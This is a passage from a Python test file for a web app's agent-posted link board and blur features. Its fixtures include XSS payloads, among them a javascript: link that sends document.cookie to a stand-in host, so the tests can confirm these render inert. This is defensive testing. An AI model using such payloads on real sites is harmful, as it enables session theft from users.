app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||
env = app.state.templates.env
|
||
assert env.auto_reload is False, (
|
||
"templates hot-reload from disk while the Python does not — "
|
||
"editing one deploys it to the live service instantly"
|
||
)
|
||
|
||
|
||
def test_the_dur_filter_survives_the_custom_environment(tmp_path):
|
||
"""The env is hand-built now, so the filter registration is no longer
|
||
incidental to the constructor."""
|
||
from booth.app import create_app
|
||
|
||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||
assert app.state.templates.env.filters["dur"](3600) == "1h"
|
||
|
||
|
||
def test_the_link_board_refuses_to_render_a_script_href(tmp_path):
|
||
"""A LIVE INJECTION VECTOR, found by design-dev on the way past R2.
|
||
|
||
17 agent handles append to the standing board and the operator clicks its
|
||
rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not
|
||
about whether an href is safe to render, and nothing guarded the render.
|
||
|
||
⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS
|
||
rejected — by the markdown link regex, because the parens break `](...)`.
|
||
That is an accident, not a guard, and a paren-free payload sails through.
|
||
|
||
The row still RENDERS, because the operator should see that something was
|
||
posted and refused; it just must not be a link."""
|
||
b = tmp_path / "links"
|
||
b.mkdir()
|
||
b.joinpath("links.md").write_text(
|
||
"- [steal it](javascript:document.location='http://evil.test/'+document.cookie)"
|
||
" <sub>· rogue · 2026-09-23 10:00</sub>\n"
|
||
"- [protocol relative](//evil.test/x) <sub>· rogue · 2026-09-23 10:01</sub>\n"
|
||
"- [data uri](data:text/html,xss) <sub>· rogue · 2026-09-23 10:02</sub>\n"
|
||
"- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-23 10:03</sub>\n"
|
||
)
|
||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||
html = c.get("/b/links/").text
|
||
|
||
assert 'href="https://ok.test/r"' in html, "a good row must still be a link"
|
||
for bad in ("javascript:", "//evil.test/x", "data:text/html"):
|
||
assert f'href="{bad}' not in html, f"{bad} rendered as an href"
|
||
# refused, not hidden: the operator sees that it was posted
|
||
assert "evil.test" in html, "the refused row vanished instead of being shown inert"
|
||
|
||
|
||
def test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row(tmp_path):
|
||
"""A board row's description and URL come from any of seventeen agent
|
||
handles, and they are pasted into a `confirm()` dialog — which is the text
|
||
the operator reads before approving a delete.
|
||
|
||
Escaping protects the PAGE and does nothing here: `confirm` renders a plain
|
||
string, so a bidi override (U+202E) or a newline re-orders or hides what he
|
||
is consenting to, and the row shown is not the row removed.
|
||
|
||
Found by design-dev, the same class as the wipe dialog he had just fixed on
|
||
the Desk. Defeating change: dropping `shown()` from either argument."""
|
||
b = tmp_path / "links"
|
||
b.mkdir()
|
||
b.joinpath("links.md").write_text(
|
||
"- [innocentgnihtemos esle](https://ok.test/a) <sub>· rogue · 2026-09-23 10:00</sub>\n"
|
||
)
|
||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||
html = c.get("/b/links/").text
|
||
|
||
assert "function shown(" in html, "the dialog sanitiser is gone"
|
||
# both arguments must go through it, not just one
|
||
assert "shown(btn.getAttribute('data-desc')" in html
|
||
assert "shown(btn.getAttribute('data-url')" in html
|
||
|
||
|
||
def test_booth_blur_composes_with_per_item_and_never_overrides_it(tmp_path):
|
||
"""The operator ruled booth-level blur in; design-dev specced the semantics
|
||
and this is the half that is ours.
|
||
|
||
COMPOSES, never overrides: an item is blurred iff the booth is blurred OR it
|
||
is in `.blurred`. Turning booth blur off must leave an agent's per-item
|
||
choice exactly as the poster left it — an override would need a per-item
|
||
"unblurred" exception list, which is state nobody can see.
|
||
|
||
Defeating change: assigning `Item.blurred` from the booth flag instead of
|
||
OR-ing it."""
|
||
from booth.app import set_blurred, set_booth_blurred
|
||
from booth.items import booth_items
|
||
|
||
b = tmp_path / "g"
|
||
b.mkdir()
|
||
for n in ("a.png", "b.png", "c.mp3"):
|
||
(b / n).write_bytes(b"x")
|
||
set_blurred(b, "b.png", True)
|
||
|
||
def state():
|
||
return {i.rel: i.blurred for i in booth_items(b)}
|
||
|
||
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}
|
||
|
||
set_booth_blurred(b, True)
|
||
# audio has nothing to hide from a glance
|
||
assert state() == {"a.png": True, "b.png": True, "c.mp3": False}
|
||
|
||
set_booth_blurred(b, False)
|
||
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}, \
|
||
"unfogging the booth erased the poster's per-item blur"
|
||
|
||
|
||
def test_an_unreadable_booth_blur_marker_fogs_rather_than_reveals(tmp_path, monkeypatch):
|
||
"""`is_kept` fails toward KEEPING because a failed read must not authorise a
|
||
delete. This fails toward HIDING, because a failed read must not reveal
|
||
something the poster asked to fog. Same shape, inverted safety, and the
|
||
inversion is the point.
|
||
|
||
Defeating change: `except OSError: return False`."""
|
||
import booth.items as items_mod
|
||
|
||
b = tmp_path / "g"
|
||
b.mkdir()
|
||
|
||
real = pathlib.Path.lstat
|
||
|
||
def boom(self, *a, **k):
|
||
if self.name == items_mod.BOOTH_BLUR_FILE:
|
||
raise PermissionError(13, "nope")
|
||
return real(self, *a, **k)
|
||
|
||
monkeypatch.setattr(pathlib.Path, "lstat", boom)
|
||
assert items_mod.is_booth_blurred(b) is True
|
||
|
||
|
||
def test_the_blurbooth_route_toggles_and_lands_back(tmp_path):
|
||
"""The POST target design-dev's header control needs, with `back=view` so
|
||
fogging from the review does not eject you from the review."""
|
||
b = tmp_path / "g"
|
||
b.mkdir()
|
||
(b / "a.png").write_bytes(b"x")
|
||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||
|
||
r = c.post("/b/g/blurbooth", data={"on": "1"}, follow_redirects=False)
|
||
assert r.status_code == 303 and r.headers["location"] == "/b/g/"
|
||
assert (b / ".blurbooth").exists()
|
||
|
||
r = c.post("/b/g/blurbooth", data={"on": "1", "back": "a.png"}, follow_redirects=False)
|
||
assert r.headers["location"] == "/b/g/view?f=a.png"
|
||
|
||
c.post("/b/g/blurbooth", data={"on": "0"}, follow_redirects=False)
|
||
assert not (b / ".blurbooth").exists()
|